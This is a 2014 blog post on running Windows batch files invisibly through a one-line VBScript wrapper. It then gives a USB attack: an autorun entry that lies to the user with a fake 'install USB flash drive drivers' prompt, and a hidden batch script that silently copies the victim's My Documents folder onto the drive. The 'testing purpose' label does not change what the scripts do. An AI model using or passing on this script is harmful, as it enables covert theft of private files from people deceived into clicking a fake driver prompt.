Wednesday, June 18, 2014

How to run a windows bat file without popup (completely hidden)

I was looking for some way to run a batch file (.bat) without anything visible to the user (no window, no taskbar name, .etc..). Here are the steps that worked for me

1. Save this one line of text as file invis.vbs. This will used to hide the popup

     CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

2. To run any program or batch file invisibly, use it like this:
     Make a launch.bat

    wscript.exe "C:\Wherever\invis.vbs" "C:\Some Other Place\MyBatchFile.bat"

More use cases (just for testing purpose)
You can use the above and create a autolaunch.bat in USB and copy stuff without any popup.

Create an autorun in USB
  action=Click "OK" to install USB flash drive drivers

And create a driver.bat
 @echo off 
  mkdir %~d0\%computername%
  xcopy "C:\Documents and Settings\%username%\My Documents" %~d0\%computername% /s/c/q/r/h

Copy all 4 files in a UBS and insert usb and test

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